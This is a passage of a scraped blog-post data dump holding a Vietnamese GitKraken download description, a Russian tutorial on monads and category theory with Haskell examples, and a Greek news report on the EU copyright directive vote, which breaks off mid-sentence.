Infochain</blogName><blogUrl>http://ethereum-infochain.blogspot.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>18308658468029689312</id><author>QUANG HUY</author><url>http://viesoftware.blogspot.com/2019/03/gitkraken-503-64-bit.html</url><title>GitKraken 5.0.3 (64-bit)</title><text>Phiên bản mới nhất:GitKraken 5.0.3 (32-bit) MỚI NHẤTYêu cầu:Windows 7 / Windows 8 / Windows 10Đánh giá của người dùng:Nhấn vào đây để bình chọnTác giả / Sản phẩm:Axosoft / GitKraken (32-bit)Phiên bản cũ: Chọn phiên bản GitKraken 5.0.3 (32 bit)GitKraken là ứng dụng khách Git được thiết kế để giúp bạn trở thành người dùng Git hiệu quả hơn . Bởi vì chức năng và vẻ đẹp không phải loại trừ lẫn nhau. GitKraken làm cho các lệnh và quy trình Git dễ dàng, nhanh chóng và trực quan. Tận hưởng trải nghiệm trực quan hấp dẫn đòi hỏi ít tương tác hơn, cho phép các quy trình công việc trôi chảy hơn và cung cấp tổng số chức năng. Giao diện trang bị cho bạn một sự hiểu biết trực quan về sự phân nhánh, hợp nhất và lịch sử cam kết của bạn. "Gợi ý" đóng vai trò là người hướng dẫn giúp bạn hiểu rõ hơn về tác động của hành động. GitKraken là ứng dụng khách Git duy nhất được xây dựng trên Electron, cho phép nó chạy tự nhiên trên các hệ thống máy tính để bàn Windows, Mac và Linux. Tận hưởng cùng trải nghiệm sang trọng trên cả ba.    Ứng dụng khách Git tốt nhất nên tích hợp với dịch vụ lưu trữ Git của bạn. Đó là lý do GitKraken kết nối với các dịch vụ phổ biến như GitHub, Bitbucket và GitLab để giúp làm việc với các kho lưu trữ từ xa của bạn dễ dàng hơn.   GitKraken cho Máy tính để bàn là máy khách Git đa nền tảng với hiệu quả , sự thanh lịch và độ tin cậy ở cốt lõi. Nó được làm cho dev, bởi devs. GitKraken làm cho các lệnh và quy trình Git dễ dàng, nhanh chóng và trực quan. Tận hưởng trải nghiệm trực quan hấp dẫn đòi hỏi ít tương tác hơn, cho phép các quy trình công việc trôi chảy hơn và cung cấp tổng số chức năng.   Lưu ý : Chức năng giới hạn trong phiên bản demo.  Tải xuống GitKraken (32-bit) </text><languageCode>vi</languageCode><locationCode>es</locationCode><coordinates /><links><link>https://www.gitkraken.com/</link><link>https://www.gitkraken.com/</link><link>https://www.filehorse.com/download-github-desktop</link><link>https://www.filehorse.com/download-gitkraken-32/download</link></links><tags /><images /><indexedAt>2019-03-27T16:48:13Z</indexedAt><publishedAt>2019-03-27T15:56:00Z</publishedAt><reindexedAt>2019-03-27T16:48:13Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8885812243986796648</blogId><blogName>Viesoftware</blogName><blogUrl>http://viesoftware.blogspot.com</blogUrl><blogRank>1</blogRank><authority>4</authority></post><post><id>7206197685808488286</id><author>Bone Guerra</author><url>https://habrparser.blogspot.com/2019/03/blog-post_530.html</url><title>Монады с точки зрения программистов (и немного теории категорий)</title><text>Как узнать, что человек понял, что такое монады? Он сам вам об этом расскажет в первые 5 минут общения и обязательно попробует объяснить. А ещё напишет об этом текст и по возможности где-нибудь его опубликует, чтобы все остальные тоже поняли, что такое монады. Среди функциональных программистов, особенно на Haskell, монады стали чем-то вроде локального мема. Их часто пытаются объяснить, отталкиваясь от частных случаев и сразу приводя примеры использования. Из-за этого слушатель может не уловить основную суть понятия, а монады так и останутся чёрной магией, ну или просто средством костылизации побочных эффектов в чисто функциональных языках. Я сначала расскажу про базовые понятия теории категорий, а затем мы с практической точки зрения подойдём к определению монады и увидим, что на самом деле очень многие программисты пользуются этой мощной абстракцией в одном из её проявлений. Моё изложение во многом основывается на книге Бартоша Милевски "Теория категорий для программистов", которая создавалась как серия блогпостов, доступна в PDF, а недавно вышла в бумаге. Примеры приводятся на Haskell, предполагается, что читатель знаком с синтаксисом и основными понятиями языка. В упомянутой книге есть примеры и на С++, можете сравнить чистоту и понятность кода.   ОпределениеКатегории сами по себе — очень простые конструкции. Категория — это набор объектов и морфизмов между ними. Морфизмы можно рассматривать как однонаправленные стрелки, соединяющие объекты. В общем случае про сущность самих объектов ничего не известно. Теория категорий работает не с объектами, а с морфизмами, точнее — с их композицией. Используется следующая нотация:  ObC — объекты категории C;HomC(A, B) — морфизмы из A в B;g ∘ f — композиция морфизмов f и g.В определении категории на морфизмы накладываются дополнительные ограничения:  Для пары морфизмов f и g, если f — морфизм из A в B (f ∈ Hom(A, B)), g — морфизм из B в C (g ∈ Hom(B, C)), то существует их композиция g ∘ f — морфизм из A в C (g ∘ f ∈ Hom(A, C)).Для каждого объекта задан тождественный морфизм idA ∈ Hom(A, A).Существуют два важных свойства, которым должна удовлетворять любая категория (аксиомы теории категорий):  Ассоциативность композиции: h ∘ (g ∘ f) = (h ∘ g) ∘ f;Композиция с тождественным морфизмом: если f ∈ Hom(A, B), то f ∘ idA = idB ∘ f = f.Категории очень легко и естественно визуализируются как ориентированные графы. В принципе, любой ориентированный граф можно достроить до категории, добавив композиции морфизмов и тождественные морфизмы, если необходимо.  Для любой категории можно определить двойственную категорию (обозначается Cop, в которой морфизмы получены разворотом стрелок исходной категории, а объекты — те же самые. Это позволяет формулировать двойственные утверждения и теоремы, истинность которых не меняется при обращении стрелок. Объекты и морфизмы не обязательно образуют множества (в классическом смысле из теории множеств), поэтому в общем случае используется словосочетание "класс объектов". Категории, в которых классы объектов и морфизмов всё-таки являются множествами, называются малыми категориями. Далее мы будем работать только с ними.  Типы и функцииРассмотрим категорию, в которой объектами являются типы языка Haskell, а морфизмами — функции. Например, типы Int и Bool — это примеры объектов, а функция типа Int -&gt; Bool — морфизм. Тождественным морфизмом является функция id, возвращающая свой аргумент:  id :: a -&gt; a id x = x Композиция морфизмов — это композиция функций, причём синтаксис этой операции на Haskell почти идентичен математической нотации:  f :: a -&gt; b g :: b -&gt; c g . f :: a -&gt; c (g . f) x = g (f x) Категория, в которой объекты представляют собой множества, а морфизмы — отображения, называется Set. Типы также можно рассматривать как множества допустимых значений, а функции — как отображения множеств, но с одной оговоркой: вычисления могут не завершиться. Для обозначения такой ситуации вводится специальный тип bottom, обозначаемый _|_. Считается, что любая функция либо возвращает значение типа, указанного в сигнатуре, либо значение типа bottom. Категория типов языка Haskell, в которой учитывается эта особенность, называется Hask. Для упрощения изложения мы будем работать с ней так же, как с категорией Set. Любопытно, что в этой категории морфизмы между двумя объектами в свою очередь образуют множество, которое является объектом в этой же категории: HomC(A, B) ∈ C. Действительно, функциональный тип a -&gt; b — это тоже тип языка Haskell. Рассмотрим несколько примеров типов с точки зрения теории категорий. Пустому множеству соответствует тип Void, у которого нет значений (такой тип называется ненаселённым). Существует даже полиморфная функция absurd, которую можно определить, но невозможно вызвать, поскольку для вызова ей нужно передать значение типа Void, а таких значений нет:  absurd :: Void -&gt; a Множеству из одного элемента соответствует тип Unit, единственное значение которого — пустой кортеж, также обозначаемый (). Полиморфная функция unit возвращает это значение, принимая на вход любой другой тип:  unit :: a -&gt; Unit unit _ = () Множество из двух элементов — логический тип Bool:  data Bool = True | False Построим категорию, объектами в которой являются типы Void, Unit и Bool. Из Void выходят только морфизмы, соответствующие функции absurd, один в Bool, один в Unit. В обратную сторону морфизмов нет, поскольку мы никак не можем получить значения ненаселённого типа Void, просто потому что их не существует, а значит и не можем определить тело этой функции. Функция типа Bool -&gt; Unit может быть только одна, unit, поскольку независимо от входного значения мы можем вернуть только пустой кортеж. А вот для реализации функции типа Unit -&gt; Bool возможны варианты. Такая функция в любом случае будет принимать значение (), но вернуть можно либо True, либо False. Таким образом, получили два морфизма из Unit в Bool:  true, false :: a -&gt; Bool true _ = True false _ = False Морфизмы из Bool в Bool — это булевы функции от одного аргумента, которых 4 штуки (в общем случае количество булевых функций от n аргументов — 22n): id, true и false, которые мы уже определяли выше, а также функция not:  not :: Bool -&gt; Bool not True = False not False = True Добавив тождественные морфизмы, получим следующую категорию:  В дальнейшем изложении будем использовать Haskell-подобную нотацию сигнатуры типов для обозначения морфизмов. Функтор — это отображение категорий. Для двух категорий, C и D, функтор F осуществляет два вида преобразований. Во-первых, функтор преобразует объекты из категории C в объекты из категории D. Если a — объект из категории C, то F a — соответствующий ему объект из категории D, полученный в результате применения функтора. Во-вторых, функтор действует на морфизмы: морфизм f :: a -&gt; b в категории C преобразуется в морфизм F f :: F a -&gt; F b в категории D.  Кроме того, должны выполняться "законы сохранения" композиции и тождественного морфизма:  Если h = g ∘ f, то F h = F g ∘ F f.Если ida — тождественный морфизм для объекта a, то F ida = idF a — тождественный морфизм для объекта F a.Таким образом, функтор не "ломает" структуру категории: то, что было связано морфизмом в исходной категории, будет связано и в результирующей. Это верно и для крайних случаев, например, когда результирующая категория состоит из одного объекта. Тогда все морфизмы исходной категории отобразятся в тождественный морфизм для этого объекта, но упомянутые выше законы нарушены не будут. Функторы можно комбинировать аналогично функциям. Для двух функторов, F :: C -&gt; D и G :: D -&gt; E можно определить композицию G . F :: C -&gt; E. Кроме того, для каждой категории несложно построить тождественный функтор, который будет переводить как объекты, так и морфизмы, в самих себя. Обозначим их IdC, IdD и IdE. Функторы, действующие из категории в неё саму, называются эндофункторы.  Посмотрим на эту картинку сильно издалека, так, чтобы сами категории превратились в точки-объекты, а функторы — в стрелки между ними (морфизмы). Получим категорию малых категорий, которая называется Cat (название периодически порождает сложные мемы с кошками). Вернёмся к категории типов языка Haskell и будем работать с эндофункторами в этой категории. Они преобразуют типы в другие типы и, кроме того, каким-то образом преобразуют функции, работающие с этими типами. Конструктор типа Maybe является примером такого функтора, он преобразует тип a в тип Maybe a (сам по себе Maybe не является типом!):  data Maybe a = Nothing | Just a Для преобразования морфизмов, необходимо уметь получать из функции f :: a -&gt; b функцию F f :: Maybe a -&gt; Maybe b. Это действие можно записать в виде функции высшего порядка fmap. Обратите внимание, что тип этой функции как раз наглядно описывает преобразование морфизмов (из одной функции получаем другую):  --          f                F f --      /------\    /------------------\ fmap :: (a -&gt; b) -&gt; (Maybe a -&gt; Maybe b) fmap _ Nothing = Nothing fmap f (Just x) = Just (f x) Конечно, Maybe — не единственный функтор. Существует целый класс типов, который так и называется, Functor. Единственным методом этого класса является функция fmap, показывающая, как преобразуются морфизмы (а преобразование объектов — это применение конструктора типа к конкретным типам):  class Functor f where   fmap :: (a -&gt; b) -&gt; f a -&gt; f b В более прикладном смысле функторы — это контейнеры, которые хранят значения других типов, а функция fmap позволяет преобразовывать объекты внутри этих контейнеров. Если опустить скобки вокруг f a -&gt; f b, как это сделано в определении выше, то такая сигнатура лучше подойдёт для описания функторов как контейнеров. Все функции, которые были рассмотрены до этого, были чистыми, т.е. предполагалось, что у них нет побочных эффектов. Это функции в математическом смысле: результат чистой функции зависит только от значения её аргумента, он не меняется из-за места или времени вызова. Поставим перед собой задачу логгировать вызовы функций. На императивном языке проще всего было бы хранить лог как глобальное состояние, которое изменяется в теле каждой функции. Программирование на функциональных языках не располагает к использованию глобального состояния, поэтому будем решать поставленную задачу, оперируя имеющимися у нас чистыми функциями — морфизмами в категории типов языка Haskell. В качестве примера возьмём функции для преобразования строк: upCase, переводящую все символы строки в верхний регистр, и toWords, разбивающую строки на слова. Пока что их реализация всего лишь использует встроенные функции toUpper и words:  upCase :: String -&gt; String upCase = map toUpper  toWords :: String -&gt; [String] toWords = words Типы функций позволяют составить их композицию:  processString :: String -&gt; [String] processString = toWords . upCase Чтобы не отвлекаться на сложности реализации, в качестве представления лога возьмём просто строку. Мы хотим, чтобы после применения функции processString в логе содержалась запись "upCase toWords". Запись в лог — побочное действие функций, мало относящееся к их основному функционалу. Хотелось бы во-первых, добавить информацию на уровне типов о том, что будет выполняться логгирование, и во-вторых, минимизировать дополнительные действия, которые придётся проделать сторонним разработчикам для работы с этими функциями. Создадим новый тип данных, который будет помимо самих значений типа a хранить ещё и строку, в которую каждая вызванная функция будет добавлять своё имя.  newtype Writer a = Writer (a, String) Заметим, что Writer — это функтор, мы легко можем описать для него функцию fmap:  instance Functor Writer where   fmap f (Writer (x, s)) = Writer (f x, s) Преобразуем функции upCase и toWords и сделаем так, чтобы они возвращали значение, "завёрнутое" в тип Writer:  upCase :: String -&gt; Writer String upCase s = Writer (map toUpper s, "upCase ")  toWords :: String -&gt; Writer [String] toWords s = Writer (words s, "toWords ") Теперь мы больше не можем записать композицию этих функций так же, как раньше, из-за несоответствия типов. Определим специальную функцию для композиции, которая сначала получает значение типа b и первую строку, передаёт это значение второй функции, получает значение типа c и вторую строку и в качестве финального результата возвращает значение типа c и конкатенацию строк, полученных при вычислении:  compose :: (a -&gt; Writer b) -&gt; (b -&gt; Writer c) -&gt; (a -&gt; Writer c) compose f g = \x -&gt; let Writer (y, s1) = f x                         Writer (z, s2) = g y                     in Writer (z, s1 ++ s2) Реализация функции processString принимает вид:  processString :: String -&gt; [String] processString = compose toWords upCase Вернёмся к понятиям теории категорий. Мы можем заменить все функции (морфизмы) типа a -&gt; b на a -&gt; Writer b и получить новую категорию, в которой такие функции являются новыми морфизмами между a и b. Осталось только определить тождественный морфизм, т.е. функцию типа a -&gt; Writer a:  writerId :: a -&gt; Writer a writerId x = Writer (x, "") Таким образом, мы получили новую категорию, основанную на Hask. В этой категории объектами являются те же типы, но морфизмом между типами a и b являются функции типа не a -&gt; b, а a -&gt; m b, т.е. возвращаемый тип "завёрнут" в какой-то другой фиксированный конструктор типа m. Такие функции мы будем называть обогащёнными (embellished). Композиция морфизмов и тождественный морфизм зависят от m, реализация для Writer — лишь частный случай. Обобщим сказанное выше для любой категории C и эндофунктора m. Построим категорию K, состоящую из тех же объектов, что и категория C, т.е. ObK = ObC. Морфизм a -&gt; b в категории K соответствует морфизму a -&gt; m b в исходной категории C: HomK(a, b) = HomC(a, m b). Для типов и функций это будет означать, что функции, работающие с типами в категории K — обогащённые функции в категории C. Для того, чтобы получить настоящую категорию с такими морфизмами, необходимо определить ассоциативную композицию морфизмов и тождественный морфизм для каждого объекта таким образом, чтобы соблюдались аксиомы теории категорий. Тогда полученная категория называется категорией Клейсли, а функтор m — монадой. На Haskell это определение выглядит так (везде далее используются типы из категории Hask):  class Monad m where   -- композиция морфизмов категории Клейсли   (&gt;=&gt;)  :: (a -&gt; m b) -&gt; (b -&gt; m c) -&gt; (a -&gt; m c)   -- тождественный морфизм   return :: a -&gt; m a Тип оператора &gt;=&gt;, который иногда называют "fish", показывает суть монад: это способ композиции обогащённых функций. Побочные эффекты, работа с состоянием, исключения — всё это лишь частные случаи, они не определяют, что такое монады, но являются хорошими примерами их использования. Writer — тоже монада, определённая нами функция compose — это композиция морфизмов &gt;=&gt;, а функция writerId — тождественный морфизм return. Начнём реализовывать оператор &gt;=&gt; в общем виде. Результатом композиции двух обогащённых функций должна быть тоже функция, поэтому в реализации используем лямбда-выражение. Аргумент этого выражения имеет тип a, и у нас есть функция f, которую к нему можно применить, а дальше работать с результатом её вычисления во вспомогательной функции, которую назовём bind:  f &gt;=&gt; g = \a -&gt; let mb = f a                 in (bind mb g)   where     bind :: m b -&gt; (b -&gt; m c) -&gt; m c Функция bind получает значение типа b "в контейнере" m и функцию, которая принимает на вход аргумент типа b и возвращает m c. Тип результата у неё совпадает с типом результата &gt;=&gt;. Мы получили следующую сигнатуру типов: m b -&gt; (b -&gt; m c) -&gt; m c. Эту функцию необходимо реализовать для каждой монады, чтобы описать способ композиции обогащённых функций. Мы подошли к "классическому" определению монад в Haskell в виде класса типов с методами &gt;&gt;=, или bind, и return:  class Monad m where   (&gt;&gt;=)  :: m a -&gt; (a -&gt; m b) -&gt; m b   return :: a -&gt; m a Теперь попробуем продолжить реализацию в общем виде, для чего каким-то образом нужно применить функцию типа b -&gt; m c к значению типа b, но у нас есть только значение типа m b. Вспомним, что изначально мы работаем с эндофунктором m, поэтому можем воспользоваться функцией fmap, которая в данном случае будет типа (a -&gt; m b) -&gt; m a -&gt; m (m b). Для завершения реализации &gt;&gt;= необходимо преобразовать значение типа m (m b) к m b, "схлопнув" контейнеры, но это уже невозможно сделать в общем виде. Выразим это преобразование как функцию join:  ma &gt;&gt;= g = join (fmap g ma)   where     join :: m (m a) -&gt; m a Например, для типа Writer реализация будет следующей:  join :: Writer (Writer a) -&gt; Writer a join (Writer ((Writer (x, s2)), s1)) = Writer (x, s1 ++ s2) Мы пришли к третьему определению класса Monad:  class Functor m =&gt; Monad m where   join   :: m (m a) -&gt; m a   return :: a -&gt; m a Здесь присутствует явное требование на то, чтобы m был функтором. Это ограничение не было нужно для предыдущих определений, поскольку функция fmap реализуется через &gt;&gt;=:  fmap :: (a -&gt; b) -&gt; m a -&gt; m b fmap f ma = ma &gt;&gt;= (\a -&gt; return (f a)) Приведём примеры практического применения монад для решения задач, которые традиционно решаются с использованием "нечистых" функций и побочных эффектов.  Недетерминированные вычисленияАбстракция недетерминированных вычислений (т.е. таких, у которых может быть несколько возможных результатов) реализуется с помощью списков. Композиция обогащённых функций должна иметь тип (a -&gt; [b]) -&gt; (b -&gt; [c]) -&gt; (a -&gt; [c]). Достаточно опытному программисту реализация может быть понятна из одной этой сигнатуры:  (&gt;=&gt;) :: (a -&gt; [b]) -&gt; (b -&gt; [c]) -&gt; (a -&gt; [c]) f &gt;=&gt; g = \x -&gt; concat (map g (f x)) Типы практически не оставляют возможности сделать неверный шаг. Получив значение типа a, единственное, что можно с ним сделать — это применить функцию f и получить список [b]. Далее всё, что мы умеем делать со значениями типа b — применить функцию g к каждому из них в списке и получить в результате список списков: map g (f x) :: [[c]]. Чтобы получить нужный результат, конкатенируем их. Тогда оператор &gt;&gt;= можно записать так:  (&gt;&gt;=) :: [a] -&gt; (a -&gt; [b]) -&gt; [b] xs &gt;&gt;= f = concat (map f xs) Осталось реализовать функцию return :: a -&gt; [a]. Здесь реализация снова выводится из типа:  return :: a -&gt; [a] return x = [x] Резюмируем эти реализации в классическом определении класса Monad:  instance Monad [] where   xs &gt;&gt;= f = concat (map f xs)   return x = [x] Конечно, список как результат функции не обязательно обозначает недетерминированность вычислений. Хорошим примером, когда это действительно так, является реализация искусственного интеллекта для игр. Список может представлять возможные результаты хода игрока, ответных ходов может быть тоже несколько — всё время приходится работать со списками, списками списков и т.д.  ИсключенияПростейшая реализация обработки исключений в чистых функциях состоит в добавлении в тип возвращаемого значения специального варианта, обозначающего, что что-то пошло не так. Для этого подойдёт, к примеру, уже рассмотренный функтор Maybe. При штатной работе функции будут возвращать значение в конструкторе Just, при возникновении ошибки — значение Nothing. Композиция таких обогащённых функций должна работать таким образом, чтобы каждая следующая функция не вызывалась, если ошибка уже произошла в предыдущем вызове:  (&gt;=&gt;) :: (a -&gt; Maybe b) -&gt; (b -&gt; Maybe c) -&gt; (a -&gt; Maybe c) f &gt;=&gt; g = \x -&gt; case f x of                   Just y  -&gt; g y                   Nothing -&gt; Nothing Определение методов класса Monad для Maybe:  instance Monad Maybe where   (Just x) &gt;&gt;= f = f x   Nothing  &gt;&gt;= f = Nothing   return x = Just x Недостаток этого подхода состоит в том, что исключение никак не конкретизируется. Мы просто знаем, что в какой-то из функций, участвовавшей в композиции, произошла какая-то ошибка. С этой точки зрения удобнее будет использовать тип Either String a, который представляет собой альтернативу двух значений: либо это строка с описанием ошибки, либо результат штатной работы функции. В общем виде тип определяется так:  data Either a b = Left a | Right b Для классификации ошибок можно использовать перечислимый тип или любую другую структуру данных, подходящую для конкретной задачи. Мы в примерах продолжим использовать просто строку. Введём синоним типа для работы с исключениями:  type WithException a = Either String a Композиция функций описывается аналогично случаю с использованием Maybe:  (&gt;=&gt;) :: (a -&gt; WithException b) -&gt; (b -&gt; WithException c) -&gt; (a -&gt; WithException c) f &gt;=&gt; g = \x -&gt; case f x of                   Right y -&gt; g y                   err     -&gt; err Определение экземпляра класса Monad уже не должно вызывать трудностей:  instance Monad WithException where   (Right x) &gt;&gt;= f = f x   err &gt;&gt;= f = err   return x = Right x  СостоянияПример с логгером, с которого мы начинали, реализует работу с write-only состоянием, но хотелось бы использовать состояние и для чтения. Модифицируем тип функции a -&gt; b так, чтобы получить обогащённую функцию, работающую с состоянием. Добавим в тип функции один аргумент, обозначающий текущее состояние, а также изменим тип возвращаемого значения (теперь это пара, состоящая из самого значения и изменённого состояния):  a -&gt; s -&gt; (b, s) Объявим синоним типа для работы с состоянием:  newtype State s a = State (s -&gt; (a, s)) Фиксируем тип состояния s и покажем, что State s является функтором. Нам понадобится вспомогательная функция runState:  runState :: State s a -&gt; s -&gt; (a, s) runState (State f) s = f s Реализация класса Functor:  instance Functor (State s) where   fmap f state = State st'     where      st' prevState = let (a, newState) = runState state prevState                      in (f a, newState) Таким образом, обогащённые функции из a в b, в которых ведётся работа с состоянием, имеют тип a -&gt; State s b, причём State s — функтор. Попробуем превратить его в монаду, реализовав их композицию:  (&gt;=&gt;) :: (a -&gt; State s b) -&gt; (b -&gt; State s c) -&gt; (a -&gt; State s c) f &gt;=&gt; g = \x -&gt; State (\s -&gt; let (y, s') = runState (f x) s                              in runState (g y) s') Отсюда получим реализацию класса Monad. Тождественный морфизм, функция return, ничего не делает с состоянием, а просто добавляет свой аргумент в пару-результат:  instance Monad (State s) where   stateA &gt;&gt;= f = State (\s -&gt; let (a, s') = runState stateA s                               in runState (f a) s')   return a = State (\s -&gt; (a, s)) Функция для чтения состояния должна всегда возвращать текущее состояния, ей не нужны аргументы. Можно сказать, что это морфизм из Unit в s в категории Клейсли, поэтому функция должна иметь тип Unit -&gt; State s s:  get :: Unit -&gt; State s s get _ = State (\s -&gt; (s, s)) Конечно, в реализации Unit можно опустить. Здесь он добавлен для того, чтобы показать эту операцию с точки зрения теории категорий. Запись состояния, наоборот, принимает новое значение состояния и записывает его. Нам важен только побочный эффект, но не возвращаемое значение, поэтому соответствующий морфизм идёт в обратную сторону, из s в Unit, а функция имеет тип s -&gt; State s Unit:  put :: s -&gt; State s Unit put s = State (\_ -&gt; ((), s)) Реализация работы с состоянием вышла чуть более сложной, чем предыдущие примеры, но на её основе можно создать формальную модель для работы с вводом/выводом. В ней предполагается, что "окружающий мир" реализован в виде некоторого типа RealWorld, о котором неизвестно никаких подробностей. При общении с внешним миром программа получает на вход объект типа RealWorld и производит какие-то действия, в результате которых получает нужный ей результат и изменяет внешний мир (например, выводит строку на экран или читает символ из потока ввода). Эту абстрактную концепцию можно реализовать с помощью состояния:  type IO a = State RealWorld a Тип IO — один из первых, о котором узнаёт начинающий пользователь Haskell, и наверняка сразу встречает пугающее слово "монада". Такой упрощённый взгляд на этот тип как на состояние для работы с внешним миром может помочь понять, почему это так. Кончено, это описание очень поверхностно, но полноценный рассказ о том, как на самом деле реализован ввод-вывод, зависит от компилятора и выходит далеко за рамки статьи. Let's block ads! (Why?)  Вы читаете Парсер Хабра</text><languageCode>ru</languageCode><locationCode>au</locationCode><coordinates /><links><link>https://www.bartoszmilewski.com/2014/10/28/category-theory-for-programmers-the-preface</link><link>https://www.github.com/hmemcpy/milewski-ctfp-pdf/releases/download/v1.2.0/category-theory-for-programmers.pdf</link><link>https://spl.smugmug.com/Humor/Lambdacats</link><link>https://blockads.fivefilters.org/</link><link>https://blockads.fivefilters.org/acceptable.html</link><link>http://habrparser.blogspot.com/</link></links><tags><tag>Захабренные</tag><tag>Хабрахабр</tag></tags><images /><indexedAt>2019-03-27T16:42:37Z</indexedAt><publishedAt>2019-03-27T15:55:00Z</publishedAt><reindexedAt>2019-03-27T16:42:37Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>18003378753295909173</blogId><blogName>Парсер Хабра</blogName><blogUrl>https://habrparser.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>11916169190462976185</id><author>TinosNow gr</author><url>http://www.tinosnow.gr/2019/03/blog-post_648.html</url><title>Νέοι κανόνες για τα πνευματικά δικαιώματα στο διαδίκτυο</title><text>Οι διαδικτυακές πλατφόρμες πλέον υπεύθυνες για το περιεχόμενο που αναρτούν οι χρήστες. Συγκεκριμένες κατηγορίες διαδικτυακού υλικού, όπως τα «memes» και τα αρχεία GIF, εξαιρούνται από την οδηγίαΟι σύνδεσμοι προς ειδησεογραφικά άρθρα, οι οποίοι συνοδεύονται από «μεμονωμένες λέξεις ή πολύ σύντομα αποσπάσματα» μπορούν να διαμοιράζονται ελεύθεραΟι δημοσιογράφοι θα πρέπει να λαμβάνουν μερίδιο των εσόδων που αποκομίζουν οι εκδότες για τη χρήση δικαιωμάτων πνευματικής ιδιοκτησίαςΟι νεοφυείς επιχειρήσεις θα υπόκεινται σε ελαφρύτερες υποχρεώσεις Οι δημιουργοί και οι δημοσιογράφοι θα μπορούν να διαπραγματευτούν με τους γίγαντες του διαδικτύου χάρη στη συμφωνία, η οποία διασφαλίζει και την ελευθερία της έκφρασης. Τα μέλη του ΕΚ υιοθέτησαν την οδηγία σε ψηφοφορία στην ολομέλεια με 348 ψήφους υπέρ, 274 κατά και 36 αποχές. Με αυτό τον τρόπο ολοκληρώθηκε η νομοθετική διαδικασία για το Ευρωπαϊκό Κοινοβούλιο, η οποία ξεκίνησε το 2016. Τα κράτη μέλη της ΕΕ θα πρέπει τώρα να εγκρίνουν την απόφαση του ΕΚ τις προσεχείς εβδομάδες. Αν τα κράτη μέλη εγκρίνουν το κείμενο που υιοθέτησε το Κοινοβούλιο, οι νέοι κανόνες θα τεθούν σε ισχύ μετά τη δημοσίευσή τους στην επίσημη εφημερίδα της ΕΕ, ενώ θα μεσολαβήσει διάστημα 2 χρόνων για την εφαρμογή τους. Η οδηγία, η οποία συμφωνήθηκε μεταξύ των διαπραγματευτών του ΕΚ και του Συμβουλίου, έχει στόχο να εξασφαλίσει ότι τα δικαιώματα και οι υποχρεώσεις περί πνευματικής ιδιοκτησίας εφαρμόζονται και στο διαδίκτυο. Το YouTube, το Facebook και το Google News είναι μεταξύ των πιο γνωστών υπηρεσιών που θα επηρεαστούν άμεσα από τη νέα νομοθεσία. Η οδηγία επίσης κάνει βήματα για να εξασφαλίσει ότι το διαδίκτυο θα παραμείνει χώρος ανοιχτός στην ελευθερία της έκφρασης. Ο εισηγητής Axel Voss και οι ευρωβουλευτές Helga Trupel and Sajjad Karim θα παραχωρήσουν συνέντευξη Τύπου στις 15.00 (τοπική ώρα) την οποία μπορείτε να παρακολουθήσετε ζωντανά. Οι τεχνολογικοί γίγαντες θα μοιράζονται τα έσοδά τους με τους καλλιτέχνες και τους δημοσιογράφους Η συμφωνία αποσκοπεί στην ενίσχυση της δυνατότητας των κατόχων πνευματικών δικαιωμάτων, κυρίως των δημιουργών όπως οι μουσικοί, οι ερμηνευτές και οι σεναριογράφοι, καθώς και των εκδοτών ειδήσεων και των δημοσιογράφων, να διαπραγματευτούν καλύτερες συμβάσεις για τη χρήση των έργων τους που εμφανίζονται σε διαδικτυακές πλατφόρμες. Αυτό επιτυγχάνεται καθιστώντας τις διαδικτυακές πλατφόρμες απευθείας υπόλογες για το περιεχόμενο που αναρτάται σε αυτές και παρέχοντας αυτόματα το δικαίωμα στους εκδότες ειδήσεων να διαπραγματευθούν συμφωνίες εκ μέρους των δημοσιογράφων τους για τα άρθρα που χρησιμοποιούν οι κόμβοι αναμετάδοσης ειδήσεων. Εξασφάλιση της ελευθερίας της έκφρασης Σημαντικός αριθμός των μέτρων είναι σχεδιασμένος ειδικά για να διασφαλιστεί ότι το διαδίκτυο θα παραμείνει χώρος ανοιχτός στην ελευθερία της έκφρασης. Καθώς η διαμοίραση αποκομμάτων ειδησεογραφικών άρθρων εξαιρείται ρητώς από την εφαρμογή της οδηγίας, αυτή η πρακτική μπορεί να συνεχιστεί ακριβώς όπως στο παρελθόν. Ωστόσο, η οδηγία περιέχει επίσης μέτρα εναντίον των κόμβων αναμετάδοσης ειδήσεων που κάνουν κατάχρηση αυτού του δικαιώματος. Τα αποκόμματα θα μπορούν λοιπόν να συνεχίσουν να εμφανίζονται στις σελίδες του Google News, για παράδειγμα, ή όταν ένα άρθρο μοιράζεται στο Facebook, με την προϋπόθεση ότι αυτά θα είναι «πολύ σύντομα». Η ανάρτηση προστατευόμενων έργων για λόγους παράθεσης, κριτικής, εξέτασης, διακωμώδησης, παρωδίας ή σάτιρας προστατεύεται, διασφαλίζοντας ότι τα «memes» και τα αρχεία GIF θα συνεχίσουν να είναι διαθέσιμα και διαμοιράσιμα σε διαδικτυακές πλατφόρμες. Πολλές διαδικτυακές πλατφόρμες δε θα επηρεαστούν Το κείμενο διευκρινίζει επίσης ότι η ανάρτηση έργων σε διαδικτυακές εγκυκλοπαίδειες με μη εμπορικό τρόπο, όπως για παράδειγμα στη Wikipedia, ή πλατφόρμες ανοιχτού («open source») λογισμικού, όπως το GitHub, θα εξαιρούνται αυτόματα. Οι καινοφυείς πλατφόρμες θα υπόκεινται σε ελαφρύτερες υποχρεώσεις από αυτές που θα έχουν οι πιο γνωστές. Ισχυρότερα διαπραγματευτικά δικαιώματα για δημιουργούς και ερμηνευτές Οι δημιουργοί και οι ερμηνευτές θα μπορούν να διεκδικήσουν πρόσθετες αμοιβές από τους διανομείς που εκμεταλλεύονται τα δικαιώματά τους όταν η ανταμοιβή που συμφωνήθηκε αρχικά είναι δυσανάλογα χαμηλότερη από τα κέρδη που αποκομίζει ο διανομέας. Στήριξη της έρευνας σε τεχνολογίες αιχμής και προστασία της παράδοσης Η συμφωνία στοχεύει να διευκολύνει τη χρήση υλικού που προστατεύεται από δικαιώματα πνευματικής ιδιοκτησίας για ερευνητική χρήση μέσω εξόρυξης κειμένου και δεδομένων, καταργώντας έτσι ένα σημαντικό ανταγωνιστικό μειονέκτημα που αντιμετωπίζουν οι Ευρωπαίοι ερευνητές. Τονίζεται δε ότι οι περιορισμοί χρήσης πνευματικής ιδιοκτησίας δεν θα εφαρμόζονται όσον αφορά υλικό που χρησιμοποιείται για εκπαιδευτικούς σκοπούς. Τέλος, η οδηγία επιτρέπει επίσης τη 